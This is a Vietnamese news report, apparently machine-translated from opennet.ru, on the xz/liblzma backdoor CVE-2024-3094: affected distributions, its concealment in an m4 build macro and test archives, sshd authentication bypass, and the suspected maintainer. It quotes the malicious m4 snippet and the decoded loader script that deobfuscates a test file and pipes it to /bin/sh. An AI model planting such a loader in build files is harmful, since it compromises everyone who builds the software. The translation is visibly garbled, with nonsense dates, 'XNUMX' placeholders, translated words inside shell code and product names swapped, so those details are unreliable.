Phát hiện backdoor trong thư viện xz/liblzma cho phép truy cập qua sshd

Trong gói Oz Utils, bao gồm thư viện liblzma và các tiện ích để làm việc với dữ liệu nén ở định dạng “.xz”, một cửa sau (CVE-2024-3094) đã được xác định cho phép chặn và sửa đổi dữ liệu được xử lý bởi các ứng dụng liên quan. với thư viện liblzma. Mục tiêu chính của cửa sau là máy chủ OpenSSH, trong một số bản phân phối được đóng gói cùng với thư viện libsystemd, do đó sử dụng liblzma. Liên kết sshd với thư viện dễ bị tấn công cho phép kẻ tấn công truy cập vào máy chủ SSH mà không cần xác thực.

Cửa hậu này đã có mặt trong các bản phát hành chính thức 5.6.0 và 5.6.1, được xuất bản vào ngày 24 tháng 9 và ngày 40 tháng 5.6.0, đã xâm nhập được vào một số bản phân phối và kho lưu trữ, chẳng hạn như Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide và 5.6.1-beta, nhà máy openSUSE và tumbleweed, LibreELEC, Alpine edge, Solus, NixOS không ổn định, OpenIndiana, OpenMandriva roll, dòng pkgsrc, dòng Slackware, thử nghiệm Manjaro. Tất cả người dùng phiên bản xz 5.4.6 và XNUMX được khuyến nghị khẩn trương quay lại phiên bản XNUMX.

Trong số các yếu tố giảm thiểu vấn đề, có thể lưu ý rằng phiên bản liblzma có cửa sau đã không thể trở thành một phần của bản phát hành ổn định của các bản phân phối lớn, nhưng lại ảnh hưởng đến openSUSE Tumbleweed và Fedora 40-beta. Arch Linux và Gentoo đã sử dụng phiên bản zx dễ bị tấn công nhưng không dễ bị tấn công vì họ không áp dụng bản vá systemd-notify cho openssh, khiến sshd được liên kết với liblzma. Cửa hậu chỉ ảnh hưởng đến các hệ thống x86_64 dựa trên nhân Linux và thư viện Glibc C.

Mã kích hoạt cửa sau đã bị ẩn trong macro m4 từ tệp build-to-host.m4 được bộ công cụ tự động hóa sử dụng khi xây dựng. Trong quá trình lắp ráp, trong quá trình thực hiện các hoạt động bị xáo trộn phức tạp dựa trên các kho lưu trữ (bad-3-corrupt_lzma2.xz, good-large_compress.lzma), được sử dụng để kiểm tra tính chính xác của hoạt động, một tệp đối tượng có mã độc đã được tạo ra, được bao gồm trong thư viện liblzma và thay đổi logic hoạt động của một số chức năng của nó. Các macro m4 kích hoạt cửa sau được bao gồm trong tarball phát hành nhưng không có trong kho Git. Đồng thời, các kho lưu trữ thử nghiệm độc hại đã có mặt trong kho lưu trữ, tức là. người triển khai cửa sau có quyền truy cập vào cả kho lưu trữ và quy trình tạo bản phát hành.

Khi sử dụng liblzma trong các ứng dụng, các thay đổi độc hại có thể được sử dụng để chặn hoặc sửa đổi dữ liệu hoặc ảnh hưởng đến hoạt động của sshd. Đặc biệt, mã độc giả mạo hàm RSA_public_decrypt để vượt qua quá trình xác thực sshd. Cửa sau bao gồm tính năng bảo vệ khỏi bị phát hiện và không tự biểu hiện khi các biến môi trường LANG và TERM được đặt (tức là khi chạy quy trình trong thiết bị đầu cuối) và các biến môi trường LD_DEBUG và LD_PROFILE không được đặt và cũng chỉ được kích hoạt khi thực thi lệnh /usr/sbin/sshd là tệp thực thi. Cửa sau cũng có phương tiện phát hiện việc thực thi trong môi trường gỡ lỗi.

Cụ thể, tệp m4/build-to-host.m4 đã sử dụng gl_am_configmake=`grep -aErls “#{4 tính[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | đánh giá $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Trong cấu trúc đầu tiên, thao tác grep đã tìm thấy tệp test/files/bad-3-corrupt_lzma2.xz, khi giải nén sẽ tạo ra tập lệnh: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && thoát 0 [ ! $(uname) = "Linux" ] && thoát 0 [ ! $(uname) = "Linux" ] && thoát 0 [ ! $(uname) = "Linux" ] && thoát 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi xuất i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compression.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####World####

Làm thế nào những kẻ tấn công có thể truy cập vào cơ sở hạ tầng của dự án xz vẫn chưa được làm rõ đầy đủ. Hiện vẫn chưa rõ có bao nhiêu người dùng và dự án đã bị xâm phạm do cửa sau. Tác giả được cho là của cửa hậu (JiaT75 - Jia Tan), người đã đăng các kho lưu trữ có mã độc trong kho lưu trữ, đã trao đổi thư từ với các nhà phát triển Fedora và gửi yêu cầu kéo tới Debian liên quan đến việc chuyển đổi các bản phân phối sang nhánh xz 5.6.0, và không khơi dậy sự nghi ngờ, vì anh ấy tham gia xz đã phát triển trong hai năm qua và là nhà phát triển thứ hai về số lượng thay đổi được thực hiện. Ngoài dự án xz, tác giả được cho là của cửa hậu còn tham gia phát triển các gói xz-java và xz-embedded. Hơn nữa, Jia Tan cách đây vài ngày đã được đưa vào danh sách những người bảo trì dự án nhúng Xperia được sử dụng trong nhân Linux.

Thay đổi độc hại được phát hiện sau khi phân tích mức tiêu thụ CPU quá mức và các lỗi do valgrind tạo ra khi kết nối qua ssh với các hệ thống dựa trên Debian. Đáng chú ý là bản phát hành xz 5.6.1 bao gồm những thay đổi do tác giả được cho là của cửa sau chuẩn bị nhằm đáp lại những phàn nàn về tình trạng chậm và sự cố của sshd phát sinh sau khi nâng cấp lên phiên bản zx 5.6.0 có cửa sau. Ngoài ra, năm ngoái Jia Tan đã thực hiện các thay đổi không tương thích với chế độ kiểm tra "-fsanitize=address", khiến chế độ này bị vô hiệu hóa trong quá trình kiểm tra fuzz.

Nguồn: opennet.ru

Thêm một lời nhận xét